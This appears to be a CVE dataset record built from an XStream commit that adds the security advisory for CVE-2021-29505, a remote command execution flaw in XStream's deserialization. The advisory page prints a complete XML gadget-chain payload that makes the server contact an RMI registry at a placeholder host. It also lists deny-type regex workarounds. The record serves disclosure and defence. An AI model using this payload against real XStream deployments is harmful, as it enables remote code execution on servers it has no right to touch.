CVE-2021-29505 (HTML, published 2021-05-28T21:15Z)
Description: value: XStream is software for serializing Java objects to XML and back again. A vulnerability in XStream versions prior to 1.4.17 may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types is affected. The vulnerability is patched in version 1.4.17.
Severity: MEDIUM (CVSS v3 base score: 8.8)
Weakness: CWE-94 \u2014 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Repository: https://github.com/x-stream/xstream
Files changed:
xstream-distribution/src/content/CVE-2021-29505.html
xstream-distribution/src/content/changes.html
xstream-distribution/src/content/security.html
xstream-distribution/src/content/website.xml
Commit message: Add description of CVE-2021-29505 and bug fix.


Vulnerable code:
<!--
    <table summary="Table of reported vulnerabilities daocumented as CVE">
    <p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
    <p>Users of XStream 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>

Fixed code:
<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 8. May 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-29505</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of a local command on the server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
      &lt;type&gt;12345&lt;/type&gt;
      &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
        &lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
      &lt;/value&gt;
    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
      &lt;type&gt;12345&lt;/type&gt;
      &lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
        &lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
          &lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
          &lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
          &lt;bodyParts/&gt;
          &lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
            &lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
            &lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
              &lt;soapPart/&gt;
              &lt;mm&gt;
                &lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
                  &lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
                    &lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
                      &lt;names&gt;
                        &lt;string&gt;aa&lt;/string&gt;
                        &lt;string&gt;aa&lt;/string&gt;
                      &lt;/names&gt;
                      &lt;ctx&gt;
                        &lt;environment/&gt;
                        &lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
                          &lt;java.rmi.server.RemoteObject&gt;
                            &lt;string&gt;UnicastRef&lt;/string&gt;
                            &lt;string&gt;ip2&lt;/string&gt;
                            &lt;int&gt;1099&lt;/int&gt;
                            &lt;long&gt;0&lt;/long&gt;
                            &lt;int&gt;0&lt;/int&gt;
                            &lt;short&gt;0&lt;/short&gt;
                            &lt;boolean&gt;false&lt;/boolean&gt;
                          &lt;/java.rmi.server.RemoteObject&gt;
                        &lt;/registry&gt;
                        &lt;host&gt;ip2&lt;/host&gt;
                        &lt;port&gt;1099&lt;/port&gt;
                      &lt;/ctx&gt;
                    &lt;/candidates&gt;
                  &lt;/aliases&gt;
                &lt;/it&gt;
              &lt;/mm&gt;
            &lt;/multiPart&gt;
          &lt;/sm&gt;
        &lt;/message&gt;
      &lt;/value&gt;
    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
	manipulating the processed input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>
    
  	</body>
 </html>

	<p class="highlight">This maintenance release addresses the security vulnerability
	<a href="CVE-2020-26258.html">CVE-2021-29505</a>, when unmarshalling with XStream instances using an uninitialized
	security framework.</p>

	<h2>Stream compatibility</h2>

	<ul>
		<li>The following types are now blacklisted by default and the deserialization
		of XML containing one of the two types will fail.  You will have to enable these types by explicit
		configuration, if you need them:<br>
			<ul>
				<li>any type in the java.rmi.* and sun.rmi.* package hierarchies</li>
				<li>the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</li>
			</ul>
		</li>
	</ul>
    <table summary="Table of reported vulnerabilities documented as CVE">
      <tr>
        <th>Version 1.4.16</th>
        <td></td>
        <td></td>
      </tr>
      <tr>
        <th><a href="CVE-2021-29505.html">CVE-2021-29505</a></th>
        <td>XStream is vulnerable to a Remote Command Execution attack.</td>
      </tr>
    <p>Users of XStream 1.4.16 who insist to use XStream default blacklist - despite that clear recommendation - can
<div class="Source Java"><pre>xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
</pre></div>
    <p>Users of XStream 1.4.15 should <strong>additionally</strong> add these lines to the lines from above:</p>
    <p>Users of XStream 1.4.14 and 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
        <page>CVE-2021-29505.html</page>